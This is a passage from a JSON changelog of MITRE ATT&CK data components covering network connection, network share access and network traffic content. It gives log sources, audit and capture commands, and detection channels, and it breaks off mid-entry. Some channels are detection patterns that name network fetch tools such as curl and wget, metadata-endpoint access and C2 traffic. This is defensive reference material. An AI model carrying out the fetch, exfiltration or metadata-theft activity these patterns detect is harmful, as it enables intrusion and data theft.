endpoint. This typically involves capturing socket information (source/destination IP, ports, protocol) and tracking session metadata. Monitoring these events helps detect lateral movement, exfiltration, and command-and-control (C2) activities.\n\n*Data Collection Measures:*\n\n- Windows:\n - Event ID 5156 \u2013 Filtering Platform Connection - Logs network connections permitted by Windows Filtering Platform (WFP).\n - Sysmon Event ID 3 \u2013 Network Connection Initiated - Captures process, source/destination IP, ports, and parent process.\n- Linux/macOS:\n - Netfilter (iptables), nftables logs - Tracks incoming and outgoing network connections.\n - AuditD (`connect` syscall) - Logs TCP, UDP, and ICMP connections.\n - Zeek (`conn.log`) - Captures protocol, duration, and bytes transferred.\n- Cloud & Network Infrastructure:\n - AWS VPC Flow Logs / Azure NSG Flow Logs - Logs IP traffic at the network level in cloud environments.\n - Zeek (conn.log) or Suricata (network events) - Captures packet metadata for detection and correlation.\n- Endpoint Detection & Response (EDR):\n - Detect anomalous network activity such as new C2 connections or data exfiltration attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Network Traffic", + "channel": "None" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Outbound connection to 169.254.169.254 from EC2 workload" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "name": "macos:unifiedlog", + "channel": "connection attempts" + }, + { + "name": "esxi:hostd", + "channel": "System service interactions" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3, 22" + }, + { + "name": "NSM:Connections", + "channel": "web domain alerts" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=22" + }, + { + "name": "auditd:SYSCALL", + "channel": "connect" + }, + { + "name": "auditd:SYSCALL", + "channel": "netconnect" + }, + { + "name": "macos:osquery", + "channel": "process_events/socket_events" + }, + { + "name": "NSM:Firewall", + "channel": "Outbound Connections" + }, + { + "name": "macos:unifiedlog", + "channel": "connection open" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline" + }, + { + "name": "NSM:Flow", + "channel": "New TCP/443 or TCP/80 to domain not previously seen for the user/host" + }, + { + "name": "NSM:Connections", + "channel": "New outbound connection from Safari/Chrome/Firefox/Word" + }, + { + "name": "NSM:Flow", + "channel": "conn.log" + }, + { + "name": "auditd:SYSCALL", + "channel": "open or connect" + }, + { + "name": "macos:osquery", + "channel": "execution of trusted tools interacting with external endpoints" + }, + { + "name": "linux:Sysmon", + "channel": "EventCode=22" + }, + { + "name": "WinEventLog:Microsoft-Windows-Bits-Client/Operational", + "channel": "BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields" + }, + { + "name": "NSM:Firewall", + "channel": "proxy or TLS inspection logs" + }, + { + "name": "macos:unifiedlog", + "channel": "network connection events" + }, + { + "name": "esxi:vmkernel", + "channel": "protocol egress" + }, + { + "name": "NSM:Flow", + "channel": "Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms" + }, + { + "name": "NSM:Flow", + "channel": "Connections to *.devtunnels.ms or tunnels.api.visualstudio.com" + }, + { + "name": "NSM:Flow", + "channel": "HTTPs connection to tunnels.api.visualstudio.com" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=5156" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=5156,5157" + }, + { + "name": "linux:osquery", + "channel": "family=AF_PACKET or protocol raw; process name not in allowlist." + }, + { + "name": "macos:unifiedlog", + "channel": "First outbound connection from the same PID/user shortly after an inbound trigger." + }, + { + "name": "NSM:Flow", + "channel": "Outbound or inbound TFTP file transfers of ROMMON or firmware binaries" + }, + { + "name": "NSM:Connections", + "channel": "Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports" + }, + { + "name": "NSM:Flow", + "channel": "connection: TCP connections to ports 139/445 to multiple hosts" + }, + { + "name": "NSM:Flow", + "channel": "connection: SMB connections to multiple internal hosts" + }, + { + "name": "auditd:SYSCALL", + "channel": "connect/sendto" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_CONNECT" + }, + { + "name": "snmp:access", + "channel": "GETBULK/GETNEXT requests for OIDs associated with configuration parameters" + }, + { + "name": "esxi:hostd", + "channel": "Service initiated connections" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Large transfer volume (>20MB) from RDS IP range to external public IPs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "High outbound traffic from new region resource" + }, + { + "name": "NSM:Flow", + "channel": "Outbound HTTP/S initiated by newly installed interpreter process" + }, + { + "name": "auditd:SYSCALL", + "channel": "open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK" + }, + { + "name": "NSM:Flow", + "channel": "outbound connections to RMM services or to unusual destination ports" + }, + { + "name": "macos:unifiedlog", + "channel": "network sessions initiated by remote desktop apps" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Outbound connections to port 22, 3389" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/connect with TLS context by unexpected process" + }, + { + "name": "NSM:Flow", + "channel": "Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port." + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/bind: New bind() to a previously closed port shortly after the sequence." + }, + { + "name": "NSM:Flow", + "channel": "Sequence of REJ/S0 then SF success from same src_ip within TimeWindow." + }, + { + "name": "NSM:Flow", + "channel": "Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow." + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic spike through formerly blocked ports/subnets following config change" + }, + { + "name": "cni:netflow", + "channel": "outbound connection to internal or external APIs" + }, + { + "name": "macos:osquery", + "channel": "launchd or network_events" + }, + { + "name": "networkdevice:syslog", + "channel": "Dynamic route changes" + }, + { + "name": "NSM:Flow", + "channel": "New egress to Internet by the same UID/host shortly after terminal exec" + }, + { + "name": "NSM:Flow", + "channel": "connection: Inbound connections to SSH or VPN ports" + }, + { + "name": "macos:unifiedlog", + "channel": "Inbound connections to VNC/SSH ports" + }, + { + "name": "NSM:Flow", + "channel": "External access to container ports (2375, 6443)" + }, + { + "name": "linux:syslog", + "channel": "network" + }, + { + "name": "macos:osquery", + "channel": "process_events + launchd" + }, + { + "name": "esxi:esxupdate", + "channel": "/var/log/esxupdate.log or /var/log/vmksummary.log" + }, + { + "name": "ebpf:syscalls", + "channel": "socket connect" + }, + { + "name": "NSM:Flow", + "channel": "remote access" + }, + { + "name": "NSM:Flow", + "channel": "Outbound Connections" + }, + { + "name": "macos:unifiedlog", + "channel": "network" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Traffic observed on mirror destination instance" + }, + { + "name": "networkdevice:Flow", + "channel": "Traffic from mirrored interface to mirror target IP" + }, + { + "name": "linux:Sysmon", + "channel": "EventCode=3" + }, + { + "name": "macos:osquery", + "channel": "process_events, socket_events" + }, + { + "name": "esxi:vmkernel", + "channel": "network activity" + }, + { + "name": "NSM:Flow", + "channel": "connection attempts" + }, + { + "name": "NSM:Flow", + "channel": "High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs" + }, + { + "name": "auditd:SYSCALL", + "channel": "sendto/connect" + }, + { + "name": "NSM:Flow", + "channel": "outbound connections from host during or immediately after image build" + }, + { + "name": "macos:unifiedlog", + "channel": "Outbound Traffic" + }, + { + "name": "esxi:hostd", + "channel": "Service-Based Network Connection" + }, + { + "name": "linux:syslog", + "channel": "postfix/smtpd" + }, + { + "name": "NSM:Flow", + "channel": "new outbound connection from browser/office lineage" + }, + { + "name": "NSM:Flow", + "channel": "new outbound connection from exploited lineage" + }, + { + "name": "macos:osquery", + "channel": "CONNECT: Long-lived connections from remote-control parents to external IPs/domains" + }, + { + "name": "auditd:SYSCALL", + "channel": "outbound connections" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "esxi:vmkernel", + "channel": "None" + }, + { + "name": "macos:unifiedlog", + "channel": "networkd or socket" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream network activity" + }, + { + "name": "NSM:Flow", + "channel": "Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/bind: Process binds to a new local port shortly after knock" + }, + { + "name": "NSM:Flow", + "channel": "Closed-port hits followed by success from same src_ip" + }, + { + "name": "NSM:Flow", + "channel": "Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock" + }, + { + "name": "WinEventLog:Microsoft-Windows-WLAN-AutoConfig", + "channel": "8001, 8002, 8003" + }, + { + "name": "linux:syslog", + "channel": "New Wi-Fi connection established or repeated association failures" + }, + { + "name": "macos:unifiedlog", + "channel": "Association and authentication events including failures and new SSIDs" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/connect calls showing SSH processes forwarding arbitrary ports" + }, + { + "name": "esxi:vmkernel", + "channel": "network session initiation with external HTTPS services" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=8001" + }, + { + "name": "linux:syslog", + "channel": "None" + }, + { + "name": "macos:osquery", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "openat,connect -k discovery" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected inbound/outbound TFTP traffic for device image files" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0082\", \"external_id\": \"DC0082\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Network Traffic\", \"channel\": \"None\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Outbound connection to 169.254.169.254 from EC2 workload\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=3\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"connection attempts\"}, {\"name\": \"esxi:hostd\", \"channel\": \"System service interactions\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=3, 22\"}, {\"name\": \"NSM:Connections\", \"channel\": \"web domain alerts\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=22\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"connect\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"netconnect\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events/socket_events\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"Outbound Connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"connection open\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New TCP/443 or TCP/80 to domain not previously seen for the user/host\"}, {\"name\": \"NSM:Connections\", \"channel\": \"New outbound connection from Safari/Chrome/Firefox/Word\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open or connect\"}, {\"name\": \"macos:osquery\", \"channel\": \"execution of trusted tools interacting with external endpoints\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"EventCode=22\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Bits-Client/Operational\", \"channel\": \"BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"proxy or TLS inspection logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network connection events\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"protocol egress\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Connections to *.devtunnels.ms or tunnels.api.visualstudio.com\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTPs connection to tunnels.api.visualstudio.com\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=5156\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=5156,5157\"}, {\"name\": \"linux:osquery\", \"channel\": \"family=AF_PACKET or protocol raw; process name not in allowlist.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"First outbound connection from the same PID/user shortly after an inbound trigger.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound or inbound TFTP file transfers of ROMMON or firmware binaries\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection: TCP connections to ports 139/445 to multiple hosts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection: SMB connections to multiple internal hosts\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"connect/sendto\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_CONNECT\"}, {\"name\": \"snmp:access\", \"channel\": \"GETBULK/GETNEXT requests for OIDs associated with configuration parameters\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Service initiated connections\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Large transfer volume (>20MB) from RDS IP range to external public IPs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"High outbound traffic from new region resource\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound HTTP/S initiated by newly installed interpreter process\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK\"}, {\"name\": \"NSM:Flow\", \"channel\": \"outbound connections to RMM services or to unusual destination ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network sessions initiated by remote desktop apps\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Outbound connections to port 22, 3389\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/connect with TLS context by unexpected process\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port.\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/bind: New bind() to a previously closed port shortly after the sequence.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Sequence of REJ/S0 then SF success from same src_ip within TimeWindow.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic spike through formerly blocked ports/subnets following config change\"}, {\"name\": \"cni:netflow\", \"channel\": \"outbound connection to internal or external APIs\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd or network_events\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Dynamic route changes\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New egress to Internet by the same UID/host shortly after terminal exec\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection: Inbound connections to SSH or VPN ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Inbound connections to VNC/SSH ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"External access to container ports (2375, 6443)\"}, {\"name\": \"linux:syslog\", \"channel\": \"network\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events + launchd\"}, {\"name\": \"esxi:esxupdate\", \"channel\": \"/var/log/esxupdate.log or /var/log/vmksummary.log\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"socket connect\"}, {\"name\": \"NSM:Flow\", \"channel\": \"remote access\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound Connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Traffic observed on mirror destination instance\"}, {\"name\": \"networkdevice:Flow\", \"channel\": \"Traffic from mirrored interface to mirror target IP\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"EventCode=3\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events, socket_events\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"network activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection attempts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"sendto/connect\"}, {\"name\": \"NSM:Flow\", \"channel\": \"outbound connections from host during or immediately after image build\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Outbound Traffic\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Service-Based Network Connection\"}, {\"name\": \"linux:syslog\", \"channel\": \"postfix/smtpd\"}, {\"name\": \"NSM:Flow\", \"channel\": \"new outbound connection from browser/office lineage\"}, {\"name\": \"NSM:Flow\", \"channel\": \"new outbound connection from exploited lineage\"}, {\"name\": \"macos:osquery\", \"channel\": \"CONNECT: Long-lived connections from remote-control parents to external IPs/domains\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"outbound connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"None\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"networkd or socket\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream network activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/bind: Process binds to a new local port shortly after knock\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Closed-port hits followed by success from same src_ip\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock\"}, {\"name\": \"WinEventLog:Microsoft-Windows-WLAN-AutoConfig\", \"channel\": \"8001, 8002, 8003\"}, {\"name\": \"linux:syslog\", \"channel\": \"New Wi-Fi connection established or repeated association failures\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Association and authentication events including failures and new SSIDs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/connect calls showing SSH processes forwarding arbitrary ports\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"network session initiation with external HTTPS services\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=8001\"}, {\"name\": \"linux:syslog\", \"channel\": \"None\"}, {\"name\": \"macos:osquery\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"openat,connect -k discovery\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected inbound/outbound TFTP traffic for device image files\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.190000+00:00\", \"old_value\": \"2025-04-18 15:11:23.639000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:14:37.412000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0102", + "external_id": "DC0102" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Share Access", + "description": "Opening a network share, which makes the contents available to the requestor (ex: Windows EID 5140 or 5145)\n\n*Data Collection Measures:*\n\n- Windows:\n - Event ID 5140 \u2013 Network Share Object Access Logs every access attempt to a network share.\n - Event ID 5145 \u2013 Detailed Network Share Object Access Captures granular access control information, including the requesting user, source IP, and access permissions.\n - Sysmon Event ID 3 \u2013 Network Connection Initiated Helps track SMB connections to suspicious or unauthorized network shares.\n - Enable Audit Policy for Network Share Access: `auditpol /set /subcategory:\"File Share\" /success:enable /failure:enable`\n - Enable PowerShell Logging to Detect Unauthorized SMB Access: `Set-ExecutionPolicy RemoteSigned`\n - Restrict Network Share Access with Group Policy (GPO): `Computer Configuration \u2192 Windows Settings \u2192 Security Settings \u2192 Local Policies \u2192 User Rights Assignment` Set \"Access this computer from the network\" to restrict unauthorized accounts.\n- Linux/macOS:\n - AuditD (`open`, `read`, `write`, `connect` syscalls) Detects access to NFS, CIFS, and SMB network shares.\n - Lsof (`lsof | grep nfs` or `lsof | grep smb`) Identifies active network share connections.\n - Mount (`mount | grep nfs` or `mount | grep cifs`) Lists currently mounted network shares.\n - Enable AuditD for SMB/NFS Access: `auditctl -a always,exit -F arch=b64 -S open -F path=/mnt/share -k network_share_access`\n - Monitor Active Network Shares Using Netstat: `netstat -an | grep :445`\n- Endpoint Detection & Response (EDR):\n - Detects abnormal network share access behavior, such as unusual account usage, large file transfers, or encrypted file activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Network Share", + "channel": "None" + }, + { + "name": "WinEventLog:Microsoft-Windows-SMBClient/Security", + "channel": "EventID=31001" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=5140" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=5145" + }, + { + "name": "WinEventLog:Microsoft-Windows-SMBServer", + "channel": "Access to SYSVOL share from non-admin user or unusual endpoints" + }, + { + "name": "NSM:Flow", + "channel": "smb_files.log" + }, + { + "name": "m365:unified", + "channel": "FileUploaded, FileAccessed" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0102\", \"external_id\": \"DC0102\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Network Share\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Microsoft-Windows-SMBClient/Security\", \"channel\": \"EventID=31001\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=5140\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=5145\"}, {\"name\": \"WinEventLog:Microsoft-Windows-SMBServer\", \"channel\": \"Access to SYSVOL share from non-admin user or unusual endpoints\"}, {\"name\": \"NSM:Flow\", \"channel\": \"smb_files.log\"}, {\"name\": \"m365:unified\", \"channel\": \"FileUploaded, FileAccessed\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--ba27545a-9c32-47ea-ba6a-cce50f1b326e\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.412000+00:00\", \"old_value\": \"2025-04-18 15:10:01.621000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:34.343000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0085", + "external_id": "DC0085" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Traffic Content", + "description": "The full packet capture (PCAP) or session data that logs both protocol headers and payload content. This allows analysts to inspect command and control (C2) traffic, exfiltration, and other suspicious activity within network communications. Unlike metadata-based logs, full content analysis enables deeper protocol inspection, payload decoding, and forensic investigations.\n\n*Data Collection Measures:*\n\n- Network Packet Capture (Full Content Logging)\n - Wireshark / tcpdump / tshark\n - Full packet captures (PCAP files) for manual analysis or IDS correlation. `tcpdump -i eth0 -w capture.pcap`\n - Zeek (formerly Bro)\n - Extracts protocol headers and payload details into structured logs. `echo \"redef Log::default_store = Log::ASCII;\" > local.zeek | zeek -Cr capture.pcap local.zeek`\n - Suricata / Snort (IDS/IPS with PCAP Logging)\n - Deep packet inspection (DPI) with signature-based and behavioral analysis. `suricata -c /etc/suricata/suricata.yaml -i eth0 -l /var/log/suricata`\n- Host-Based Collection\n - Sysmon Event ID 22 \u2013 DNS Query Logging, Captures DNS requests made by processes, useful for detecting C2 domains.\n - Sysmon Event ID 3 \u2013 Network Connection Initiated, Logs process-to-network connection relationships.\n - AuditD (Linux) \u2013 syscall=connect, Monitors outbound network requests from processes. `auditctl -a always,exit -F arch=b64 -S connect -k network_activity`\n- Cloud & SaaS Traffic Collection\n - AWS VPC Flow Logs / Azure NSG Flow Logs / Google VPC Flow Logs, Captures metadata about inbound/outbound network traffic.\n - Cloud IDS (AWS GuardDuty, Azure Sentinel, Google Chronicle), Detects malicious activity in cloud environments by analyzing network traffic patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Network Traffic", + "channel": "None" + }, + { + "name": "ebpf:syscalls", + "channel": "Process within container accesses link-local address 169.254.169.254" + }, + { + "name": "WebProxy:AccessLogs", + "channel": "SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)" + }, + { + "name": "NSM:Flow", + "channel": "mqtt.log / xmpp.log (custom log feeds)" + }, + { + "name": "NSM:Flow", + "channel": "mqtt.log or AMQP custom log" + }, + { + "name": "NSM:Flow", + "channel": "mqtt.log, xmpp.log, amqp.log" + }, + { + "name": "networkdevice:syslog", + "channel": "ACL/Firewall rule modification or new route injection" + }, + { + "name": "m365:office", + "channel": "External HTTP/DNS connection from Office binary shortly after macro trigger" + }, + { + "name": "NSM:Flow", + "channel": "TCP/UDP" + }, + { + "name": "NSM:Flow", + "channel": "TCP session tracking" + }, + { + "name": "NSM:Flow", + "channel": "Captured packet payloads" + }, + { + "name": "NSM:Flow", + "channel": "session behavior" + }, + { + "name": "esxi:vmkernel", + "channel": "Network activity" + }, + { + "name": "NSM:Flow", + "channel": "External C2 channel over TLS" + }, + { + "name": "NSM:Flow", + "channel": "http/file-xfer: Inbound/outbound transfer of ELF shared objects" + }, + { + "name": "NSM:Flow", + "channel": "http.log, files.log" + }, + { + "name": "NSM:Flow", + "channel": "unexpected network activity initiated shortly after shell session starts" + }, + { + "name": "NSM:Flow", + "channel": "HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM" + }, + { + "name": "NSM:Flow", + "channel": "http.log, ssl.log" + }, + { + "name": "NSM:Flow", + "channel": "http.log, conn.log" + }, + { + "name": "NSM:Flow", + "channel": "SPAN or port-mirrored HTTP/S" + }, + { + "name": "NSM:Flow", + "channel": "http.log, ssl.log, websocket.log" + }, + { + "name": "macos:unifiedlog", + "channel": "process + network metrics correlation for bandwidth saturation" + }, + { + "name": "docker:stats", + "channel": "unusual network TX/RX byte deltas" + }, + { + "name": "etw:Microsoft-Windows-WinINet", + "channel": "HTTPS Inspection" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log" + }, + { + "name": "linux:syslog", + "channel": "Query to suspicious domain with high entropy or low reputation" + }, + { + "name": "macos:unifiedlog", + "channel": "DNS query with pseudo-random subdomain patterns" + }, + { + "name": "azure:vpcflow", + "channel": "HTTP requests to 169.254.169.254 or Azure Metadata endpoints" + }, + { + "name": "NSM:Flow", + "channel": "Browser connections to known C2 or dynamic DNS domains" + }, + { + "name": "NSM:Flow", + "channel": "Session History Reset" + }, + { + "name": "NSM:Flow", + "channel": "HTTP " + }, + { + "name": "macos:unifiedlog", + "channel": "network flow" + }, + { + "name": "linux:syslog", + "channel": "curl|wget|python .*http" + }, + { + "name": "macos:unifiedlog", + "channel": "curl|osascript.*open location" + }, + { + "name": "NSM:Flow", + "channel": "query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes" + }, + { + "name": "etw:Microsoft-Windows-NDIS-PacketCapture", + "channel": "TLS Handshake/Network Flow" + }, + { + "name": "NSM:Flow", + "channel": "HTTP/TLS Logs" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem: com.apple.network" + }, + { + "name": "linux:syslog", + "channel": "Unexpected SQL or application log entries showing tampered or malformed data" + }, + { + "name": "EDR:hunting", + "channel": "Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious URL 